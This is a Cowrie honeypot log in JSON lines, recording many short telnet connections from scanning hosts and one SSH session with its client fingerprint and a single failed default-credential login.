{"eventid":"cowrie.session.closed","duration":30.756986379623413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:46.093082Z","src_ip":"213.171.199.40","session":"ed7af21e3879","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":32902,"dst_ip":"159.203.135.109","dst_port":23,"session":"352128bd0a36","protocol":"telnet","message":"New connection: 213.171.199.40:32902 (159.203.135.109:23) [session: 352128bd0a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:46.236788Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":37064,"dst_ip":"159.203.135.109","dst_port":23,"session":"7599362bdaf2","protocol":"telnet","message":"New connection: 213.171.199.40:37064 (159.203.135.109:23) [session: 7599362bdaf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:47.543698Z"}
{"eventid":"cowrie.session.closed","duration":30.321758031845093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:49.156054Z","src_ip":"213.171.199.40","session":"bd9fc7d17479","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.216131687164307,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:49.169183Z","src_ip":"213.171.199.40","session":"f4b31fea8387","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06679391860962,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:49.257697Z","src_ip":"213.171.199.40","session":"40b71a4033b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":42650,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff80fb89c82d","protocol":"telnet","message":"New connection: 213.171.199.40:42650 (159.203.135.109:23) [session: ff80fb89c82d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:49.263309Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":44350,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab82391ddf55","protocol":"telnet","message":"New connection: 213.171.199.40:44350 (159.203.135.109:23) [session: ab82391ddf55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:49.834629Z"}
{"eventid":"cowrie.session.closed","duration":30.548247575759888,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:50.112808Z","src_ip":"213.171.199.40","session":"36cca6fdc104","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.848981142044067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:50.133553Z","src_ip":"213.171.199.40","session":"5a1158aa5637","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97844934463501,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:50.216423Z","src_ip":"213.171.199.40","session":"da60138a8ec6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":45558,"dst_ip":"159.203.135.109","dst_port":23,"session":"0337d876f83d","protocol":"telnet","message":"New connection: 213.171.199.40:45558 (159.203.135.109:23) [session: 0337d876f83d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:50.285246Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":48166,"dst_ip":"10.17.0.5","dst_port":23,"session":"81207d7cea17","protocol":"telnet","message":"New connection: 103.115.172.252:48166 (10.17.0.5:23) [session: 81207d7cea17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:50.336799Z"}
{"eventid":"cowrie.session.closed","duration":30.248506546020508,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:51.075591Z","src_ip":"213.171.199.40","session":"5035cca14429","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":48160,"dst_ip":"159.203.135.109","dst_port":23,"session":"d826e9c2c0ea","protocol":"telnet","message":"New connection: 213.171.199.40:48160 (159.203.135.109:23) [session: d826e9c2c0ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:51.098060Z"}
{"eventid":"cowrie.session.closed","duration":30.305736541748047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:51.117814Z","src_ip":"213.171.199.40","session":"25fba5e409db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.955482959747314,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:51.559023Z","src_ip":"45.63.42.31","session":"92afd438b0ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75000524520874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:51.636105Z","src_ip":"213.171.199.40","session":"30e1efca4161","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.592591047286987,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:53.054753Z","src_ip":"213.171.199.40","session":"dbc72e9aeaa5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":54840,"dst_ip":"159.203.135.109","dst_port":23,"session":"53fba409bf4b","protocol":"telnet","message":"New connection: 213.171.199.40:54840 (159.203.135.109:23) [session: 53fba409bf4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:53.257048Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":55274,"dst_ip":"159.203.135.109","dst_port":23,"session":"faabb473f218","protocol":"telnet","message":"New connection: 213.171.199.40:55274 (159.203.135.109:23) [session: faabb473f218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:53.392926Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":56058,"dst_ip":"159.203.135.109","dst_port":23,"session":"60c67ef1bf90","protocol":"telnet","message":"New connection: 213.171.199.40:56058 (159.203.135.109:23) [session: 60c67ef1bf90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:53.662971Z"}
{"eventid":"cowrie.session.closed","duration":31.58569073677063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:53.892557Z","src_ip":"213.171.199.40","session":"40c68c9d60f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":56850,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1e435b52f82","protocol":"telnet","message":"New connection: 213.171.199.40:56850 (159.203.135.109:23) [session: b1e435b52f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:53.905472Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":57982,"dst_ip":"159.203.135.109","dst_port":23,"session":"22cc15f8eaa9","protocol":"telnet","message":"New connection: 213.171.199.40:57982 (159.203.135.109:23) [session: 22cc15f8eaa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:54.330198Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":59556,"dst_ip":"159.203.135.109","dst_port":23,"session":"83bc116c0390","protocol":"telnet","message":"New connection: 213.171.199.40:59556 (159.203.135.109:23) [session: 83bc116c0390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:54.850956Z"}
{"eventid":"cowrie.session.closed","duration":31.78100562095642,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:55.028628Z","src_ip":"213.171.199.40","session":"610aa0bd133a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84456515312195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:55.057001Z","src_ip":"213.171.199.40","session":"31977858a218","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.51447677612305,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:55.104690Z","src_ip":"45.63.42.31","session":"fe6d98d938f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":32912,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0d334a50e6c","protocol":"telnet","message":"New connection: 213.171.199.40:32912 (159.203.135.109:23) [session: e0d334a50e6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:55.382250Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":32952,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab83b5e881d2","protocol":"telnet","message":"New connection: 213.171.199.40:32952 (159.203.135.109:23) [session: ab83b5e881d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:55.395018Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":34406,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e0716a5c518","protocol":"telnet","message":"New connection: 213.171.199.40:34406 (159.203.135.109:23) [session: 0e0716a5c518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:55.804711Z"}
{"eventid":"cowrie.session.closed","duration":30.897817373275757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:56.048627Z","src_ip":"213.171.199.40","session":"f01bfbed3a39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":45614,"dst_ip":"10.17.0.5","dst_port":23,"session":"87108e972d46","protocol":"telnet","message":"New connection: 45.63.42.31:45614 (10.17.0.5:23) [session: 87108e972d46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:56.256737Z"}
{"eventid":"cowrie.session.closed","duration":33.827125787734985,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:56.445741Z","src_ip":"45.63.42.31","session":"ba42ec53105e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":39480,"dst_ip":"159.203.135.109","dst_port":23,"session":"11201af026c6","protocol":"telnet","message":"New connection: 213.171.199.40:39480 (159.203.135.109:23) [session: 11201af026c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:57.366382Z"}
{"eventid":"cowrie.session.closed","duration":30.381705284118652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:58.072615Z","src_ip":"213.171.199.40","session":"1274d0d71639","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.20856714248657,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:58.548239Z","src_ip":"45.63.42.31","session":"1eb87b1b051d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01574397087097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:59.045362Z","src_ip":"213.171.199.40","session":"e7ea251e6245","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":45266,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d4fdecdbe75","protocol":"telnet","message":"New connection: 213.171.199.40:45266 (159.203.135.109:23) [session: 4d4fdecdbe75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:59.148697Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":51852,"dst_ip":"10.17.0.5","dst_port":23,"session":"6387181ae886","protocol":"telnet","message":"New connection: 103.115.172.252:51852 (10.17.0.5:23) [session: 6387181ae886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:59.179390Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":46186,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5d6cff090e9","protocol":"telnet","message":"New connection: 213.171.199.40:46186 (159.203.135.109:23) [session: f5d6cff090e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:30:59.413617Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":53116,"dst_ip":"10.17.0.5","dst_port":23,"session":"c80329c54872","protocol":"telnet","message":"New connection: 45.63.42.31:53116 (10.17.0.5:23) [session: c80329c54872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:00.208029Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":49216,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e51e2d17681","protocol":"telnet","message":"New connection: 213.171.199.40:49216 (159.203.135.109:23) [session: 2e51e2d17681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:00.450859Z"}
{"eventid":"cowrie.session.closed","duration":30.61167311668396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:01.196261Z","src_ip":"213.171.199.40","session":"c9bad6f0b965","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.266878843307495,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:01.456438Z","src_ip":"213.171.199.40","session":"348fbdb24815","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.606061935424805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:02.086551Z","src_ip":"213.171.199.40","session":"b10ecf974383","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04324460029602,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:02.091915Z","src_ip":"213.171.199.40","session":"cf4724de20ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":58186,"dst_ip":"10.17.0.5","dst_port":23,"session":"5997defaa1b0","protocol":"telnet","message":"New connection: 45.63.42.31:58186 (10.17.0.5:23) [session: 5997defaa1b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:02.814090Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":58204,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e97592f1660","protocol":"telnet","message":"New connection: 45.63.42.31:58204 (10.17.0.5:23) [session: 6e97592f1660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:02.821651Z"}
{"eventid":"cowrie.session.closed","duration":30.21645426750183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:03.131686Z","src_ip":"213.171.199.40","session":"8ddb6f91ca65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.673791646957397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:03.156403Z","src_ip":"213.171.199.40","session":"08f1bcc838af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45165181159973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:05.288569Z","src_ip":"213.171.199.40","session":"eaa379cb9d39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":39160,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdec5cc2101e","protocol":"telnet","message":"New connection: 213.171.199.40:39160 (159.203.135.109:23) [session: fdec5cc2101e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:06.010622Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":40084,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b52fc0b1a94","protocol":"telnet","message":"New connection: 213.171.199.40:40084 (159.203.135.109:23) [session: 6b52fc0b1a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:06.294287Z"}
{"eventid":"cowrie.session.closed","duration":31.273903131484985,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:06.658831Z","src_ip":"213.171.199.40","session":"ec394ea47bad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.610997200012207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:07.048075Z","src_ip":"213.171.199.40","session":"9e0fbfbbedd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08641743659973,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:08.052341Z","src_ip":"213.171.199.40","session":"bff256493147","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":40798,"dst_ip":"10.17.0.5","dst_port":23,"session":"c03128bdc23a","protocol":"telnet","message":"New connection: 45.63.42.31:40798 (10.17.0.5:23) [session: c03128bdc23a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:08.192423Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.134.49.171","src_port":42081,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d910069b419","protocol":"ssh","message":"New connection: 78.134.49.171:42081 (159.203.135.109:22) [session: 0d910069b419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:08.471478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:08.480014Z","src_ip":"78.134.49.171","session":"0d910069b419","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:08.594097Z","src_ip":"78.134.49.171","session":"0d910069b419","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.2901029586792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:09.101716Z","src_ip":"213.171.199.40","session":"14be143327d9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"administrador","password":"root","message":"login attempt [administrador/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:09.389230Z","src_ip":"78.134.49.171","session":"0d910069b419","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":51726,"dst_ip":"159.203.135.109","dst_port":23,"session":"a01566acee2f","protocol":"telnet","message":"New connection: 213.171.199.40:51726 (159.203.135.109:23) [session: a01566acee2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:09.673703Z"}
{"eventid":"cowrie.session.closed","duration":31.055185794830322,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:09.968630Z","src_ip":"213.171.199.40","session":"994c3f907750","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.668909549713135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:10.058347Z","src_ip":"213.171.199.40","session":"5ff16f04c5c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.882869243621826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:10.085981Z","src_ip":"213.171.199.40","session":"66b1019f08c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:10.498514Z","src_ip":"78.134.49.171","session":"0d910069b419","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.83592462539673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:11.057554Z","src_ip":"213.171.199.40","session":"bebe0d4f324b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.194488763809204,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:11.152524Z","src_ip":"213.171.199.40","session":"996b83119ffd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68671941757202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:12.154866Z","src_ip":"213.171.199.40","session":"b02fbc620ef6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.670496702194214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:12.167839Z","src_ip":"213.171.199.40","session":"a5ffe8945bf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":32934,"dst_ip":"159.203.135.109","dst_port":23,"session":"6762a15f8d65","protocol":"telnet","message":"New connection: 213.171.199.40:32934 (159.203.135.109:23) [session: 6762a15f8d65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:12.412450Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":34062,"dst_ip":"159.203.135.109","dst_port":23,"session":"abc341404fd8","protocol":"telnet","message":"New connection: 213.171.199.40:34062 (159.203.135.109:23) [session: abc341404fd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:12.742838Z"}
{"eventid":"cowrie.session.closed","duration":30.694579124450684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:14.081948Z","src_ip":"213.171.199.40","session":"567dbf44413f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65554714202881,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:14.120725Z","src_ip":"213.171.199.40","session":"668c235c13a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.890305280685425,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:17.126977Z","src_ip":"213.171.199.40","session":"352128bd0a36","protocol":"telnet"}
